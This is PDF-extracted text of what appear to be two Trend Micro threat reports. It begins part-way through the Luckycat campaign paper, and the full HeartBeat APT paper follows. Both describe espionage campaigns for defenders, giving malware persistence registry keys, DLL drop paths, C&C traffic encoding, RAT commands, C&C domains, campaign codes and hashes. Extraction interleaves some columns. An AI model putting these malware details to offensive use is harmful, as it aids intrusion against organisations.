across +a network. This information is used in conjunction with +custom alerts based on the local and external threat +intelligence available. +19 http://www.nytimes.com/2010/04/06/science/06cyber.html?_r=2 +PAGE 19 | LUCKYCAT REDUX +Technologies available today such as Deep Discovery +provide visibility, insight, and control over networks to +defend against targeted threats.20 Deep Discovery uniquely +detects and identifies evasive threats in real time and +provides in-depth analysis and actionable intelligence to +prevent, discover, and reduce risks. +Educating Employees Against Social +Engineering +Once an attack is identified, the cleanup strategy should +focus on the following objectives: +Security-related policies and procedures combined with +education and training programs are essential components +of defense. Traditional training methods can be fortified +by simulations and exercises using real spear-phishing +attempts sent to test employees. Employees trained to +expect targeted attacks are better positioned to report +potential threats and constitute an important source of +threat intelligence. + Determine the attack vector and cut off +communications with the C&C server. +Data-Centric Protection Strategy + Determine the scope of the compromise. +The ultimate objective of targeted attacks is to acquire +sensitive data. As such, DLP strategies that focus on +identifying and protecting confidential information are +critical. Enhanced data protection and visibility across +an enterprise provides the ability to control access to +sensitive data as well as monitor and log successful and +unsuccessful attempts to access it. Enhanced access +control and logging capabilities allow security analysts to +locate and investigate anomalies, respond to incidents, and +initiate remediation strategies and damage assessment. +Mitigation and Cleanup Strategy + Assess the damage by analyzing the data and forensic +artifacts available on compromised machines. +Remediation should be applied soon afterward, which +includes steps to fortify affected servers, machines, or +devices into secure states, informed in part by how the +compromised machines were infiltrated. +20 http://www.trendmicro.com/us/enterprise/security-risk-management/ +deep-discovery/index.html +PAGE 20 | LUCKYCAT REDUX +TREND MICRO THREAT +PROTECTION AGAINST LUCKYCAT +CAMPAIGN COMPONENTS +The following table summarizes the Trend Micro solutions for the components of the Luckycat campaign. Trend Micro +recommends a comprehensive security risk management strategy that goes further than advanced protection to meet +the real-time threat management requirements of dealing with targeted attacks. +Attack Component +Protection Technology +Trend Micro Solution +HTTP C&C communication fingerprint +count.php?m=c&n=[HOSTNAME]_[MAC_ +ADDRESS]_[CAMPAIGN_CODE]@ +Web Reputation +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, +InterScan Messaging Security) +Mobile (Mobile Security) +TROJ_WIMMIE +VBS_WIMMIE +File Reputation +(Antivirus/Anti-malware) +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, +InterScan Messaging Security) +Mobile (Mobile Security) +PAGE 21 | LUCKYCAT REDUX +Attack Component +CVE-2010-3333 +CVE-2010-2883 +CVE-2010-3654 +CVE-2011-0611 +CVE-2011-2462 +PAGE 22 | LUCKYCAT REDUX +Protection Technology +Trend Micro Solution +Vulnerability Shielding/Virtual Patching +Server (Deep Security) +Endpoint (OfficeScan with Intrusion +Defense Firewall Plug-In) +For CVE-2010-3333: +Rule #1004498 (Microsoft Word +.RTF File Parsing Stack Buffer +Overflow Vulnerability) +For CVE-2010-2883: +Rule #1004393 (Adobe Reader SING +Table Parsing Vulnerability) +Rule #1004113 (identified malicious +.PDF file) +Rule #1004315 (identified malicious +.PDF file - 3) +For CVE-2010-3654: +Rule #1004497 (Adobe Flash +Player Unspecified Code Execution +Vulnerability) +For CVE-2011-0611: +Rule #1004801 (Adobe Flash +Player .SWF File Remote Memory +Corruption Vulnerability) +Rule #1004114 (identified malicious +.SWF file) +Rule #1004647 (restrict Microsoft +Office file with embedded .SWF file) +For CVE-2011-2462: +Rule #1004871 (Adobe Acrobat/ +Reader U3D Component Memory +Corruption Vulnerability) +Rule #1004873 (Adobe Acrobat/ +Reader U3D Component Memory +Corruption) +Attack Component +cattree.1x.biz +charlesbrain.shop.co +footballworldcup.website.org +frankwhales.shop.co +hi21222325.x.gg +kinkeechow.shop.co +kittyshop.kilu.org +perfect.shop.co +pumasports.website.org +tomsburs.shop.co +vpoasport.shopping2000.com +goodwell.all.co.uk +fireequipment.website.org +tennissport.website.org +waterpool.website.org +tb123.xoomsite.com +tbda123.gwchost.com +toms.0fees.net +tomygreen.0fees.net +killmannets.0fees.net +maritimemaster.kilu.org +masterchoice.shop.co +jeepvihecle.shop.co +lucysmith.0fees.net +Protection Technology +Web, Domain, and IP Reputation +Trend Micro Solution +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, +InterScan Messaging Security) +Mobile (Mobile Security) +TREND MICRO +TREND MICRO INC. +Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security +leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses +and consumers. A pioneer in server security with over +20 years + experience, we deliver top-ranked client, server and cloudbased security that fits our customers + and partners + needs, stops +new threats faster, and protects data in physical, virtualized and cloud +environments. Powered by the industry-leading Trend Micro + Smart Protection Network + cloud computing security infrastructure, our products +and services stop threats where they emerge +from the Internet. They are +supported by 1,000+ threat intelligence experts around the globe. +10101 N. De Anza Blvd. +Cupertino, CA 95014 +U.S. toll free: 1 +800.228.5651 +Phone: 1 +408.257.1500 +Fax: 1 +408.257.2003 +www.trendmicro.com +2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company +names may be trademarks or registered trademarks of their owners. +PAGE 23 | LUCKYCAT REDUX +March 2012 | APT Campaign Quick Profile: LUCKYCAT +Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific +targets to maintain persistent presence within the victim +s network so they can move laterally and exfiltrate data. Unlike +indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the +targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking +information to gain profit, APTs are better thought of as cyber espionage. +LUCKYCAT +First Seen +Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target +s network. +The Luckycat campaign has been active since at least June 2011. +Victims and Targets +APT campaigns target specific industries or communities of interest in specific regions. +The Luckycat campaign has been linked to 90 attacks against the following industries and/or communities in Japan and India: +AEROSPACE +ENERGY +ENGINEERING +SHIPPING +MILITARY RESEARCH +TIBETAN ACTIVISTS +The threat actors behind the Luckycat campaign used a unique campaign code to track victims of specific attacks. +Operations +The 1st-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. +Targeted emails that are contextually relevant (i.e., emails containing a decoy document of radiation dose measurement results +sent some time after the Great East Japan Earthquake) +Exploited CVE-2010-3333 (aka, Rich Text Format [RTF] Stack Buffer Overflow Vulnerability) in several instances, although Adobe +Reader and Flash Player vulnerabilities were also exploited +Used TROJ_WIMMIE or VBS_WIMMIE +malware that take advantage of the Windows Management Instrumentation (WMI), making +the backdoor component undetectable through file scanning +The WIMMIE malware, once inside the network, connects to a command-and-control (C&C) server via HTTP over port 80 +Attackers heavily used free web-hosting services to host their C&C servers under a diverse set of domain names but also used +virtual private servers (VPSs) for more stable operations +Possible Indicators of Compromise +Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. +WIMMIE malware do not leave much network fingerprint. However, the following is an identifiable HTTP C&C communication +fingerprint +count.php?m=c&n=[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE]@. This format can also be seen in the URL +inside the script when /namespace:\\root\subscription path __eventconsumer is typed in the command line for WMI. +Relationship with Other APT Campaigns +Malware identified with the ShadowNet, Duojeen, Sparksrv, and Comfoo campaigns were used or found hosted on the same dedicated server used +by the Luckycat campaign. +Trend Micro Incorporated +Research Paper +2012 +The HeartBeat APT +Campaign +Roland Dela Paz +Contents +About This Paper................................................................................................................................... 1 +Introduction............................................................................................................................................ 1 +Campaign Targets................................................................................................................................. 2 +Context.................................................................................................................................................... 2 +Attack Vector......................................................................................................................................... 3 +Infection Flow........................................................................................................................................4 +The RAT Component............................................................................................................................ 5 +Backdoor Functionalities............................................................................................................. 5 +Installation and Persistence........................................................................................................ 5 +C&C Communication..................................................................................................................... 6 +Command and Control.........................................................................................................................8 +HeartBeat Campaign Codes and Decoy Documents....................................................................8 +Relationships among C&C Domains, IPs, and Campaigns........................................................... 9 +Attribution.............................................................................................................................................10 +Conclusion.............................................................................................................................................10 +Timeline..................................................................................................................................................10 +Defending against the HeartBeat Campaign.................................................................................11 +Trend Micro Threat Protection Against The HeartBeat Campaign Components.................12 +PAGE ii | THE HEARTBEAT APT CAMPAIGN +About This Paper +Introduction +This paper exposes a targeted attack called +HeartBeat, +which has been persistently pursuing the South Korean +government and related organizations since 2009. This +paper will discuss how their specifically crafted campaigns +infiltrate their targets. +Today +s cybercriminals try to infect as many users as +possible. Their goal is simple +to monetize the resources or +data from infected machines in any way they can. Behind +such attacks are highly covert targeted campaigns known +as APTs. +Compared to most advanced persistent threat (APT) +campaigns with diverse targeted industries, the HeartBeat +campaign is an isolated case. Furthermore, we will examine +their attack methodologies which include their attack +vector, the remote administration tool (RAT) component, +and command-and-control servers. Finally, we will discuss +how this information can be useful in developing defensive +strategies in protecting organizations as well as predicting +future targets. +While targeted campaigns continue to increase, research +efforts by the security industry reveal that some of these +attacks have existed for several years.1 Depending on the +motive, APT campaigns may attack various industries, +organizations or communities from different regions and +countries. For instance, the Luckycat campaign targeted +the aerospace, energy, engineering, shipping, and military +research industries in India and Japan.2 Additionally, +they targeted the Tibetan activists + community. The +IXESHE campaign, on the other hand, targeted East Asian +governments, Taiwanese electronics manufacturers, +and a telecommunications company.3 While most of +these campaigns have multiple targets, smaller, more +subtle campaigns with exceedingly specific targets are +also present. The Taidoor campaign is an example of +this, where all of the compromise victims were from +Taiwan, and the majority of which were government +organizations.4 +This research paper will delve into a targeted campaign +that targets organizations and communities within South +Korea. We call this malicious operation the +HeartBeat +campaign. +http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_dissecting-lurid-apt.pdf +2 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_luckycat_redux.pdf +3 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_ixeshe.pdf +4 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_the_taidoor_campaign.pdf +PAGE 1 | THE HEARTBEAT APT CAMPAIGN +Campaign Targets +Context +The HeartBeat campaign appears to target government +organizations and institutions or communities that are +in some way related to the South Korean government. +Specifically, we were able to identify the following targets: +The first HeartBeat campaign remote access tool (RAT)5 +component was discovered in June 2012 in a Korean +newspaper company network. Further investigation +revealed that the campaign has been actively distributing +their RAT component to their targets in 2011 and the first +half of 2012. Furthermore, we uncovered one malware +component that dates back to November 2009. This +indicates that the campaign started during that time or +earlier. + Political parties + Media outfits + A national policy research institute + A military branch of South Korean armed forces +Earlier versions of the HeartBeat campaign +s RAT +component contained the following strings in their codes: + A small business sector organization +Thus, the campaign name +HeartBeat. + Branches of South Korean government +The profile of their targets suggests that the motive +behind the campaign may be politically motivated. +Figure 1. Code used in the HeartBeat campaign +s RAT component +5 http://en.wikipedia.org/wiki/Remote_administration_software +PAGE 2 | THE HEARTBEAT APT CAMPAIGN +Attack Vector +In order to gain control over targets systems, HeartBeat +perpetrators install a RAT in prospective victims + systems. +This RAT arrives as a disguised or fake document which +is actually a bundled file. The bundled file contains both +a decoy document and the RAT installer that has been +packaged together using a binder tool. Once it runs, the +decoy document is displayed to the user while the RAT +unknowingly executes in the background. +Based on the samples we collected, the campaign +s decoy +documents used the file formats .JPG, .PDF, XLS, and HWP, +the Korean government standard word processor format. +One of the previous HeartBeat attacks even dropped a +pornographic .JPG image as decoy. Below is a screenshot +of a Hangul Word Processor (.HWP) document used as bait +in November 2011. Its document title roughly translates to +Information to the President.hwp. +It is unclear how these packaged files specifically arrive on +victims + systems, but we highly suspect that spearphishing +emails6 containing these packaged malware were primarily +used to distribute them. In fact, the packaged malware +used the icon of the decoy document in order to look +legitimate. For instance, if the decoy is an XLS file, the +package will appear to have an XLS document icon. In +addition, some of the decoy files required passwords in +order to be viewed. +Figure 3. A decoy .HWP document +Figure 2. Example of a decoy Adobe Reader document +The previously mentioned techniques are commonly used +in spearphishing attacks where prospective victims are +lured to open a seemingly benign document attachment. +In order to appear more legitimate, some of these emails +contain password protected documents. A password is +then provided in the email body as a social engineering +technique. +6 http://blog.trendmicro.com/taiwan-spear-phishers-target-gmail-users/ +PAGE 3 | THE HEARTBEAT APT CAMPAIGN +Infection Flow +Once users open the packaged malicious file, the actual document is displayed to the user while a RAT installer in +.EXE format runs in the background. The RAT installer, on the other hand, drops a .DLL file that is then injected to the +legitimate process svchost.exe. The injected code in svchost.exe then connects to the malware command and control +(C&C) server to register infection and wait for remote commands. +Figure 4. Infection diagram for the HeartBeat campaign +TREND MICRO INCORPORATED +TREND MICRO INC. +Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security +leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses +and consumers. A pioneer in server security with over +20 years + experience, we deliver top-ranked client, server and cloudbased security that fits our customers + and partners + needs, stops +new threats faster, and protects data in physical, virtualized and cloud +environments. Powered by the industry-leading Trend Micro + Smart Protection Network + cloud computing security infrastructure, our products +and services stop threats where they emerge +from the Internet. They are +supported by 1,000+ threat intelligence experts around the globe. +10101 N. De Anza Blvd. +Cupertino, CA 95014 +U.S. toll free: 1 +800.228.5651 +Phone: 1 +408.257.1500 +Fax: 1 +408.257.2003 +www.trendmicro.com +2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company +names may be trademarks or registered trademarks of their owners. +PAGE 4 | THE HEARTBEAT APT CAMPAIGN +The RAT Component +Backdoor Functionalities +The RAT installer in turn drops a .DLL component which +contains the backdoor capabilities. In order to stay hidden, +the .DLL uses file names similar to legitimate applications. +Below is a list of file names used: + %Program Files%\Common Files\Services\6to4nt.dll +The HeartBeat campaign +s RAT component allows +attackers to remotely execute the following commands on +affected hosts: + %Program Files%\Common Files\System\6to4nt.dll + List running processes and their respective process + %Program Files%\Windows NT\htrn.dll + Download and execute file(s) + Update itself + Uninstall itself + Create or terminate a process + List available removable and fixed drives + %Program Files%\Windows NT\Accessories\6to4nt.dll + %Program Files%\Windows NT\htrn_jls.dll + %Program Files%\Windows NT\hyper.dll + %System%\Network Remote.dll + %System%\SvcHost.dll +Some these dropped .DLL files use fake file properties +in order to not appear suspicious. The following is an +example: + List existing files and their creation date/time + Upload file(s) + Delete file(s) + Get the file creation date/time of a specific file + Open a remote command shell access + Reboot the system +These commands give the attackers complete control over +their victims + systems. Attackers also have the option to +uninstall the RAT any time to cover their tracks and avoid +being discovered. +Installation and Persistence +The RAT installer is initially dropped and executed by the +packaged file using any of the following file names: + %System%\msrt.exe + %Program Files%\Common Files\AcroRd32.exe + %Program Files%\Common Files\config.exe +Figure 5. A.DLL that uses fake file properties + %Program Files%\Common Files\explorer.exe +PAGE 5 | THE HEARTBEAT APT CAMPAIGN +In some cases, the RAT installer drops 2 .DLL files where +one of the .DLLs serves as a loader of the other .DLL file +which contains the backdoor payload. +The .DLL component is then registered as a service +through the following added registries: +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ +Services\{service name} +Type = +Start = +ErrorControl = +ImagePath = +%SystemRoot%\System32\svchost.exe +-k netsvcs +ObjectName = +LocalSystem +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ +Services\{service name}\Parameters +ServiceDll = C:\Program Files\Windows NT\htrn. +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ +Services\{service name}\Security +Security = {values} +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ +Services\{service name}\Enum +0 = +Root\LEGACY_{service name}\0000 +Count = +NextInstance = +*{service name} may be +6to4 +Irmon +C&C Communication +Once the RAT +s .DLL component has been injected to +svchost.exe, the malware attempts to register itself to the +C&C server by sending the following information from the +affected system: + Computer name + Local IP address + Service pack +These data are sent along with a campaign code and the +string +qawsed +. While the +qawsed + string is not present +in earlier versions of their RAT, we suspect that the +attackers only recently added this as a default campaign +password. +The RAT +s C&C communication is encrypted with XOR +encryption using a single byte key, 02H. Furthermore, the +data being transferred and received by the RAT C&C are +800H (2,048 bytes) in size. +The service is then invoked once installed. This results +in the .DLL being injected to svchost.exe process. This +registry modification allows the RAT to execute upon every +system startup. +After installation the RAT installer deletes itself, which +leaves only the disguised .DLL and related registry entries +on the affected system. +Note that the presence of any of the files or registries +above may be an indication of a possible HeartBeat +infection in a system. +Figure 6. RAT +s encryption algorithm before sending data to its +C&C server +PAGE 6 | THE HEARTBEAT APT CAMPAIGN +Figure 7. RAT +s decryption code upon receiving data from the C&C server +During the RAT +s phone home, the following TCP traffic is observed on the network: +When decrypted, the above traffic looks as follows: +The majority of the RAT variants used port 80. Recent +variants, however, were observed to use port 443. Other +ports we have seen being utilized are port 5600 and port +8080. +Earlier RAT variants did not use encryption on their C&C +communication. Moreover, they only sent the computer +name and campaign code during phone home. Below is a +screenshot of the unencrypted C&C communication. +PAGE 7 | THE HEARTBEAT APT CAMPAIGN +The C&C traffic size also varied in previous versions. Some +early variants used traffic that are 28H (40 bytes) and +1004H (4,100 bytes) in size. +Additionally, the port, C&C address, campaign code and +password are hardcoded in the RAT +s malware body +in plain text. In some RAT versions, however, they are +encrypted and are decrypted only during run-time, +possibly to protect the RAT from static analysis by security +researchers. +These variations in their RAT component indicate that it +has since been undergoing development. +Command and Control +HeartBeat Campaign Codes and Decoy +Documents +The campaign codes and decoy documents used by the +HeartBeat attackers provided valuable insights on their +campaigns. In fact, majority of their campaign codes +included number combinations which represented the +month and date in MMDD format when the attack attempt +was executed. The rest of the campaign code string +often describes the decoy document that was used in a +specific campaign. For instance, a campaign code from +October 2011 is +army-1022 + where attackers used a decoy +document containing military-related information. +Campaign code +The HeartBeat campaign +s C&C domains appear to utilize +a site redirection service. Their C&C sites redirect to IP +addresses from ISPs in Armenia, USA, Japan, India and +Korea. We observed that they updated the IP address +of some of their C&C domains. Likewise, all of their IP +addresses belong to legitimate ISPs. Considering this, +we suspect that these IP addresses are compromised +hosts that act as proxy servers which redirects traffic to +the actual C&C servers. Again, this adds another layer of +anonymity to the HeartBeat perpetrators. +Domain +IP Address +ahnlab.myfw.us +XXX.XXX.217.123 /XXX.XX.121.84 +kissyou01.myfw.us +XX.XXX.203.122 / XX.XXX.20.103 +kita.myfw.us +XXX.XXX.217.123 / XXX.XX.121.84 +login.sbs.com.PassAs.us +XXX.XXX.178.50 +mail2.myfw.us +XX.XXX.15.63 / XXX.XXX.198.93 +park007.myfw.us +unknown +snrp.UglyAs.com +XXX.XXX.169.45 +www.banking.com.PassAs.us +XXX.XXX.178.50 +www.huyang.go.kr.PassAs.us +XXX.XXX.217.123 / XX.XXX.136.115 +www.kinu.or.kr.rr.nu +XXX.XXX.178.50 +www.kndu.ac.kr.myfw.us +XXX.XXX.4.180 +young03.myfw.us +XX.XXX.203.122 +Table 1. List of HeartBeat C&Cs +PAGE 8 | THE HEARTBEAT APT CAMPAIGN +Password +1119HWP +None +kris0315 +None +PDF-0417 +None +gh-0525 +None +0909-jpg +qawsed +0916 +qawsed +jpg-jf-0925 +qawsed +army-1022 +qawsed +1103-ghui +qawsed +1113-minzhu +qawsed +ajh7884@han +qawsed +qawsed +0305-ziyoudang +qawsed +0326-xuehui +qawsed +0328-junf +qawsed +0329-mnd +qawsed +1q2w3e4r +None +0520-tiegang +qawsed +guohui-0604 +qawsed +Table 2. Campaign codes used +On the other hand, decoy documents + contents were +also very specific to their targets. For example, some of +these documents included logos of specific groups. This +information helped us identify their targeted organizations +and communities in their previous campaigns. +PAGE 9 | THE HEARTBEAT APT CAMPAIGN +Figure 7. Relationships between HeartBeat attack components +Relationships among C&C Domains, IPs, and Campaigns +Attribution +Clues relating to the attackers remain very limited. Using +compromised hosts as C&C proxy servers minimizes the +possibility of tracking potential threat actors. While a +number of their campaign codes included Chinese words +such as guohui, xuehui and minzhu, they appear to be +comfortable using the English language. Some of the C&C +domain names even contained English words. In addition, +the binder tool and the RAT component are written +in English. For instance, some text from the packaged +components + body included +Select Files! + and +Bind +Success! +, while the RAT component included strings +such as +Uninstall + and the name of the RAT itself, +HeartBeat. +Threat actors and entities that use collected information +from targets may be two separate parties that are only +related in a professional and malicious manner. In this +case, determining the latter may be impossible. Likewise, +it is very difficult to identify the threat actors behind +the HeartBeat campaign given the limited amount of +information available. +Conclusion +The Heartbeat campaign has been successfully executing +targeted attacks since 2009. In order for attackers to +properly track their campaigns and victims, they used +campaign codes that contained the campaign dates and +strings that described specific campaigns. These campaign +codes are embedded in their RAT binaries and were sent +to their C&C servers along with information regarding the +targets + system. Additionally, they used a commercial site +redirection service for their C&C domains. These domains +redirected to various IP addresses that belonged to +legitimate ISPs, which may be compromised hosts that act +as proxy servers. This effectively hides the real location of +the attackers behind HeartBeat. While having an isolated +target may have helped them stay under the security +industry +s radar, the attackers illustrated that they were +very careful but persistent. +Understanding targeted campaigns and their +methodologies is fundamental in protecting both end +users and organizations. Not only does it help in coming +up with effective defensive strategies through multiple +protection layers, it also helps with predicting possible +targets in the future and ultimately, raise awareness. As +of this writing, the HeartBeat APT campaign remains an +active targeted campaign. +Timeline +We collected 19 set of samples related to HeartBeat +campaign from November 2009 to June 2012. This +translates to 19 campaigns where the vast majority +of which were distributed between 2011 and 2012. +Nonetheless, the limited number of samples we were +able to obtain still means that the campaign is indeed +persistent. The isolated nature of this targeted attack +and its small user base may only require the HeartBeat +perpetrators to carry out minimal campaigns in order to +infiltrate their targets. +Campaign +Date +(MM/DD/YY) +MD5 (.DLL component) +Compile +Date +(MM/DD/YY) +11/19/09 +7c6b44d8d87898e7e5deeeb1961b5ae6 +9/17/2009 +03/15/11 +fcf42cadb3a932989c8e2b29cef68861 +12/24/2010 +04/17/11 +aab129ffd3bf5ceeae2e0f332217bebc +3/18/2011 +05/25/11 +86547d674e7c7da55e8cae359819832f +5/6/2011 +09/09/111 +f947e63b14853a69b8ed2648869b5e10 +7/25/2011 +09/16/11 +7f1a633384ec97fae9d95d1df9e1135a +7/25/2011 +09/25/11 +8816c5be1305488019769c81259dad2a +9/21/2011 +10/22/11 +874025a66c2b9d9831c03d1bc114876a +10/17/2011 +11/03/11 +4046dec1aa0eebb01fe7469184a95398 +10/31/2011 +11/13/11 +ba370b17dc9eb1d1e1c3187f0768064f +10/31/2011 +12/2011 +51274cefb01cee981a09db83c984213d +11/28/2011 +02/2012 +d1a2253361045f91ed1902e9ffe2cec3 +7/18/2011 +03/05/12 +20bb652e1d2679ed230102aa9676eca0 +3/1/2012 +03/26/12 +c5c0fea23138cddab96fe22b657f9132 +3/8/2012 +03/28/12 +ef2bc66ea69327d11d1859af26f5aef9 +3/8/2012 +03/29/12 +8e50af054d2c0b45c88082d53c4fc423 +3/8/2012 +04/2012 +b1e47ecd68c1c151866cec275716aa67 +4/18/2012 +05/20/12 +6d205e78fb7730066c116b0c2dffa398 +5/2/2012 +06/04/12 +5ec175512ba3c6e78597af48bbe6ca60 +5/2/2012 +Table 3. Specific dates of HeartBeat campaigns +PAGE 10 | THE HEARTBEAT APT CAMPAIGN +We did not obtain a campaign sample from 2010. However, +we highly suspect that their operation was also active +during that year. In fact, we can see in the second MD5 +above that the sample was compiled in December 24, 2010. +Also, it is possible that some of the campaign +s attacks +may not have been escalated to antivirus firms by infected +users, or simply remains undiscovered. +that contain file attachments using extensions such as +.VBS, .BAT, .EXE, .PIF and .SCR files. + Avoid opening email attachments and clicking +embedded links from unknown sources + Block any file with more than one file type extension. +Defending against the HeartBeat +Campaign + When a computer is compromised, isolate it +immediately from the network. +Essential components of defense against the HeartBeat +campaign are security-related policies within enterprises. +Once an attack is identified, a good cleanup strategy +should focus on determining the attack vector and cutting +off communications with the C&C server. It is also vital to +determine the scope of the compromise and assessing the +damage through data analysis and forensics. + Don +t save login credentials on the local computer. + Configure your system to show hidden files and folders +and display file extensions. +The following best practices are also advised: + Disable services that are related to the HeartBeat RAT +component. + Enable system +s firewall + Keep software and operating systems updated +with latest patches released by vendors to address +vulnerabilities and exploits. + Block unused ports to disallow malware from +using these ports to communicate and/or enforce +commands. + Monitor network connections for any suspicious +connection or connectivity. + Regularly update list of sites that are trusted. + Configure your email server to block or remove email +PAGE 11 | THE HEARTBEAT APT CAMPAIGN +Trend Micro Threat Protection Against The HeartBeat Campaign Components +The following table summarizes the Trend Micro solutions for the components of the HeartBeat campaign. Trend Micro +recommends a comprehensive security risk management strategy that goes further than advanced protection to meet +the real-time threat management requirements of dealing with targeted attacks. +Attack Component +Protection Technology +Trend Micro Solution +HeartBeat TCP communication is blocked in the +network layer as TCP_HBEAT_REQUEST +Web Reputation +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, InterScan +Messaging Security) +Mobile (Mobile Security) +TROJ_DRPBEAT and BKDR_HBEAT variants +File Reputation +(Antivirus/Anti-malware) +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, InterScan +Messaging Security) +Mobile (Mobile Security) +XXX.XXX.217.123 +XXX.XX.121.84 +XX.XXX.203.122 +XX.XXX.20.103 +XXX.XXX.217.123 +XXX.XX.121.84 +XXX.XXX.178.50 +XX.XXX.15.63 +XXX.XXX.198.93 +XXX.XXX.169.45 +XXX.XXX.178.50 +XXX.XXX.217.123 +XX.XXX.136.115 +XXX.XXX.178.50 +XXX.XXX.4.180 +XX.XXX.203.122 +ahnlab.myfw.us +kissyou01.myfw.us +kita.myfw.us +login.sbs.com.PassAs.us +mail2.myfw.us +park007.myfw.us +snrp.UglyAs.com +www.banking.com.PassAs.us +www.huyang.go.kr.PassAs.us +www.kinu.or.kr.rr.nu +www.kndu.ac.kr.myfw.us +young03.myfw.us +Web, Domain, and IP Reputation +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, InterScan +Messaging Security) +Mobile (Mobile Security) +PAGE 12 | THE HEARTBEAT APT CAMPAIGN +December 2012 | APT Campaign Quick Profile: HEARTBEAT +Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific +targets to maintain persistent presence within the victim +s network so they can move laterally and exfiltrate data. +Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because +of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card +and banking information to gain profit, APTs are better thought of as cyber espionage. +HEARTBEAT + First Seen +Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target +s network. +The +HeartBeat + campaign has been persistently pursuing government agencies since 2009. The samples collected related to this campaign covered +attacks seen from November 2009 to June 2012, although majority of the attacks were seen in 2011 and 2012. + Victims and Targets +APT campaigns target specific industries or communities of interest in specific regions. +The HeartBeat campaign targets South Korean government organizations and institutions like political parties, media outfits, a national policy +research institute, a military branch of South Korean armed forces, a small business sector organization, and branches of the South Korean +government. + Operations +The 1st-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. +The threat actors behind HeartBeat install a RAT in system. The RAT arrives as a disguised or fake document which is actually a bundled file. The +bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool. The campaign +s decoy +documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format. + Possible Indicators of Compromise +Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. +The following indicators suggest an infection by the HeartBeat campaign: contiguous 02H bytes communication in the network, the presence of +certain files and registries as detailed in the paper, and network connections to certain IPs and domains, including the presence of files detected as +TROJ_DRPBEAT and BKDR_HBEAT. + Relationship with other APT Campaigns +This attack does not seem to have any relationship with other APT campaigns. +PAGE 13 | THE HEARTBEAT APT CAMPAIGN +TREND MICRO INCORPORATED +TREND MICRO INC. +Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security +leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses +and consumers. A pioneer in server security with over +20 years + experience, we deliver top-ranked client, server and cloudbased security that fits our customers + and partners + needs, stops +new threats faster, and protects data in physical, virtualized and cloud +environments. Powered by the industry-leading Trend Micro + Smart Protection Network + cloud computing security infrastructure, our products +and services stop threats where they emerge +from the Internet. They are +supported by 1,000+ threat intelligence experts around the globe. +10101 N. De Anza Blvd. +Cupertino, CA 95014 +U.S. toll free: 1 +800.228.5651 +Phone: 1 +408.257.1500 +Fax: 1 +408.257.2003 +www.trendmicro.com +2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company +names may be trademarks or registered trademarks of their owners. +PAGE 14 | THE HEARTBEAT APT CAMPAIGN